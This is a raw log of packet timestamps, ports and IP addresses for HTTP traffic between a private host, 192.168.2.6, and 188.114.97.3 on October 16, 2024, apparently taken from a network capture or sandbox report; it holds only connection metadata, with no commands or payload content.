                                                                                    Oct 16, 2024 10:58:19.668097019 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.668107986 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.668118000 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.668139935 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.668139935 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.668199062 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.668226957 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.668239117 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.668255091 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.668262005 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.668266058 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.668276072 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.668278933 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.668284893 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.668293953 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.668299913 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.668323040 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.668346882 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.668437004 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.668447018 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.669008017 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.689762115 CEST8049791188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.689876080 CEST4979180192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.691648006 CEST8049791188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.691771984 CEST4979180192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.693352938 CEST4979180192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.698788881 CEST8049791188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.710642099 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.710652113 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.710661888 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.710671902 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.710860014 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.710860014 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.732418060 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.732486963 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.732498884 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.732599020 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.784935951 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.784974098 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.784985065 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.785032034 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.785042048 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.785126925 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.785145044 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.785152912 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.785152912 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.785152912 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.785152912 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.785159111 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.785170078 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.785187960 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.785198927 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.785207987 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.785213947 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.785213947 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.785219908 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.785232067 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.785247087 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.785269976 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.785269976 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.785398960 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.785460949 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.785527945 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.785567045 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.785574913 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.785587072 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.785615921 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.785625935 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.785629988 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.785669088 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.827883005 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.827928066 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.827936888 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.827939987 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.827975035 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.828109980 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.851619959 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.851687908 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.851696968 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.851764917 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.904609919 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.904628038 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.904638052 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.904723883 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.904723883 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.904756069 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.904773951 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.904786110 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.904794931 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.904804945 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.904856920 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.904865980 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.904865980 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.904865980 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.904866934 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.904881954 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.904925108 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.904925108 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.904925108 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.904949903 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.904988050 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.905004025 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.905015945 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.905064106 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.905064106 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.905064106 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.905098915 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.905144930 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.905175924 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.905186892 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.905210972 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.905220985 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.905241013 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.905241966 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.905278921 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.945060968 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.945072889 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.945082903 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.945174932 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.945242882 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.968481064 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.968489885 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.968499899 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.968565941 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.968565941 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.968622923 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.968688965 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.021717072 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.021867990 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.021878004 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.021886110 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.021895885 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.021914005 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.021924973 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.021934986 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.021939993 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.021945953 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.021992922 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.021992922 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.022054911 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.022064924 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.022115946 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.022236109 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.022278070 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.022301912 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.022314072 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.022327900 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.022336960 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.022349119 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.022349119 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.022392035 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.022789955 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.022840023 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.022850037 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.022891045 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.022891045 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.022906065 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.022917986 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.022927999 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.022943020 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.022952080 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.022988081 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.022988081 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.022988081 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.022988081 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.062050104 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.062114000 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.062124014 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.062155008 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.062155008 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.085869074 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.085877895 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.085887909 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.085906982 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.085962057 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.138881922 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.138899088 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.138916969 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.138926983 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.138938904 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.138961077 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.138961077 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.138961077 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.138986111 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.138986111 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.139023066 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.139105082 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.139117956 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.139128923 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.139168978 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.139180899 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.139205933 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.139205933 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.139205933 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.139206886 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.139214993 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.139219046 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.139297962 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.139309883 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.139321089 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.139331102 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.139343977 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.139343977 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.139377117 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.139770985 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.139791012 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.139801025 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.139849901 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.139887094 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.139899015 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.139909029 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.139934063 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.139951944 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.139951944 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.139978886 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.139986038 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.139990091 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.140045881 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.179143906 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.179152966 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.179162025 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.179171085 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.179228067 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.179228067 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.202913046 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.202922106 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.202930927 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.203005075 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.203005075 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.255898952 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.255909920 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.255927086 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.255934954 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.255945921 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.256048918 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.256058931 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.256068945 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.256078005 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.256103039 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.256110907 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.256123066 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.256129980 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.256139994 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.256150007 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.256160021 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.256263018 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.256263018 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.256263018 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.256263018 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.256299973 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.256427050 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.256445885 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.256453991 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.256464005 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.256474018 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.256489992 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.256537914 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.256537914 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.256567001 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.256964922 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.257038116 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.257049084 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.257059097 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.257069111 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.257100105 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.257112026 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.257143974 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.257153988 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.257164001 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.257193089 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.257237911 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.296250105 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.296269894 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.296281099 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.296303988 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.296331882 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.296331882 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.319796085 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.319856882 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.319866896 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.319875956 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.319912910 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.319941044 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.373115063 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.373218060 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.373226881 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.373236895 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.373277903 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.373310089 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.373321056 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.373358011 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.373358011 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.373368025 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.373378992 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.373418093 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.373513937 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.373517990 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.373558998 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.373563051 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.373573065 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.373645067 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.373732090 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.373764992 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.373774052 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.373780966 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.373815060 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.373960018 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.374023914 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.374044895 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.374053955 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.374102116 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.374171972 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.374180079 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.374227047 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.374313116 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.374353886 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:20.374439001 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.374448061 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:20.374456882 CEST8049802188.114.97.3192.168.2.6
